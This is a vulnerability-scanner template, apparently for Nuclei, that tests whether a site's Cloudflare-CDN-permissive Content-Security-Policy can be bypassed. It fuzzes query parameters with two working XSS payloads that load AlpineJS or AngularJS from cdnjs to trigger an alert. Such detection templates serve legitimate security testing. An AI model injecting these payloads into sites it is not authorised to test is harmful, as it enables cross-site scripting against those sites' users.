id: cloudflare-cdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - Cloudflare CDN
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,cloudflare-cdn,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "cloudflare.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: cloudflare_cdn_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://cdnjs.cloudflare.com/ajax/libs/alpinejs/3.10.5/cdn.min.js"></script><div x-init="alert(1)">'
        - '<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "cloudflare_cdn_csp_xss == true"
# digest: 4a0a00473045022005b86317637615ef7f98f65673c09f94c15eb6aa98678e9aa8734ecc76fa349a022100af182f823aa82e0ad16c81b16fa85460de0925701536dac03763ea1097eec875:922c64590222798bb761d5b6d8e72950